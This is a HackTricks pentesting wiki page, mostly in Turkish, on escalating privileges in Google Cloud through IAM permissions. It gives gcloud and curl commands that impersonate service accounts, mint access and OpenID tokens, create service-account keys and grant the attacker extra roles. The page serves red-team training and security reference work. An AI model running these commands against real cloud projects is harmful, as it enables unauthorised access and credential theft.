GCP - IAM Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

IAM

IAM hakkında daha fazla bilgi için:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Bahsedilen izinlere sahip bir saldırgan, size atanan bir rolü güncelleyebilir ve size diğer kaynaklar için şu tür ek izinler verebilir:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Bir vuln ortamının oluşturulması, exploit edilmesi ve temizlenmesinin otomatikleştirilmesi için bir script bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti here. Daha fazla bilgi için original research.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

iam.roles.create izni, bir proje/organizasyon içinde özelleştirilmiş roller oluşturulmasına izin verir. Bir attacker’ın elinde bu durum tehlikelidir; çünkü ona, daha sonra varlıklara atanabilecek yeni izin setleri tanımlama imkânı sağlar (örneğin iam.serviceAccounts.setIamPolicy izni kullanılarak) ve amacı escalating privileges.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Bahsedilen izinlere sahip bir saldırgan, bir Service Account’a ait bir access token talep edebilecektir, dolayısıyla bizimkinden daha fazla ayrıcalığa sahip bir Service Account’un access token’ını talep etmek mümkündür.

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

You can find a script to automate the zafiyetli bir ortamın oluşturulması, exploit edilmesi ve temizlenmesi and a python script to abuse this privilege burada. For more information check the original research.

iam.serviceAccountKeys.create

Bahsedilen izinlere sahip bir saldırgan, bir Service Account için user-managed key oluşturabilecek, bu da o Service Account olarak GCP’ye erişmemize olanak tanır.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

Bir zafiyet ortamının oluşturulmasını, sömürülmesini ve temizlenmesini otomatikleştiren bir scripti creation, exploit and cleaning of a vuln environment here adresinde bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scripti here. Daha fazla bilgi için original research adresine bakın.

Not: iam.serviceAccountKeys.update bir SA’nın anahtarını değiştirmek için çalışmaz çünkü bunu yapmak için iam.serviceAccountKeys.create izni de gereklidir.

iam.serviceAccounts.implicitDelegation

Eğer bir Servis Hesabı üzerinde iam.serviceAccounts.implicitDelegation izniniz varsa ve o Servis Hesabı üçüncü bir Servis Hesabı üzerinde iam.serviceAccounts.getAccessToken iznine sahipse, implicitDelegation’ı kullanarak o üçüncü Servis Hesabı için bir token oluşturabilirsiniz. Açıklamak için bir diyagram:

Not: documentation’a göre, gcloud delegasyonu yalnızca generateAccessToken() yöntemini kullanarak token üretmek için çalışır. Bu yüzden aşağıda API’yi doğrudan kullanarak bir token nasıl alınır gösterilmektedir:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.signBlob

Bahsedilen izinlere sahip bir saldırgan, GCP’de istediği payload’ları imzalayabilecek. Bu sayede hedeflediğimiz SA için imzasız bir JWT oluşturup bunu bir blob olarak göndererek JWT’nin SA tarafından imzalanmasını sağlamak mümkün olacak. Daha fazla bilgi için read this.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here and here. For more information check the original research.

iam.serviceAccounts.signJwt

Bahsedilen izinlere sahip bir saldırgan, doğru biçimlendirilmiş JSON web tokens (JWTs) imzalayabilecek. Önceki yöntemle farkı, JWT içeren bir blob’un google tarafından imzalanmasını sağlamak yerine, zaten bir JWT bekleyen signJWT yöntemini kullanmamızdır. Bu kullanımını kolaylaştırır ancak her türlü byte yerine sadece JWT imzalayabilirsiniz.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.setIamPolicy

Bahsedilen izinlere sahip bir saldırgan, service accounts için IAM policy’leri ekleyebilecek. Bunu, service account’u taklit etmek için ihtiyaç duyduğunuz izinleri kendinize vermeye kullanabilirsiniz. Aşağıdaki örnekte ilginç SA üzerinde kendimize roles/iam.serviceAccountTokenCreator rolünü veriyoruz:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

iam.serviceAccounts.actAs permission, AWS’deki iam:PassRole permission ile benzerdir. Bir Compute Engine instance’ını başlatmak gibi görevleri yürütmek için gereklidir; bir Service Account adına “actAs” yapma yetkisi vererek izin yönetimini güvenli hale getirir. Bu izin olmadan kullanıcılar haksız erişim elde edebilir. Ayrıca, iam.serviceAccounts.actAs’in suistimali çeşitli yöntemler içerir ve her biri farklı izin setleri gerektirir; oysa diğer bazı yöntemler tek bir izinle çalışır.

Service account impersonation

Bir service account’u taklit etmek, obtain new and better privileges elde etmek için çok faydalı olabilir. Başka bir service account’u impersonate another service account yapmanın üç yolu vardır:

  • Authentication using RSA private keys (covered above)
  • Authorization using Cloud IAM policies (covered here)
  • Deploying jobs on GCP services (more applicable to the compromise of a user account)

iam.serviceAccounts.getOpenIdToken

Belirtilen izinlere sahip bir saldırgan, bir OpenID JWT üretebilir. Bunlar kimliği doğrulamak için kullanılır ve mutlaka bir kaynağa karşı örtük bir yetkilendirme taşımazlar.

Bu interesting post’a göre, audience’ı (token’ı kimliği doğrulamak için kullanmak istediğiniz servis) belirtmeniz gerekir ve size service account ile JWT’nin audience’ını belirten, google tarafından imzalanmış bir JWT verilecektir.

Erişiminiz varsa bir OpenIDToken şu şekilde üretebilirsiniz:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Bunu kullanarak servise şu şekilde erişebilirsiniz:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Bu tür token’larla kimlik doğrulamayı destekleyen bazı servisler şunlardır:

Bir servis hesabı adına bir OpenID token oluşturma örneğini burada bulabilirsiniz.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin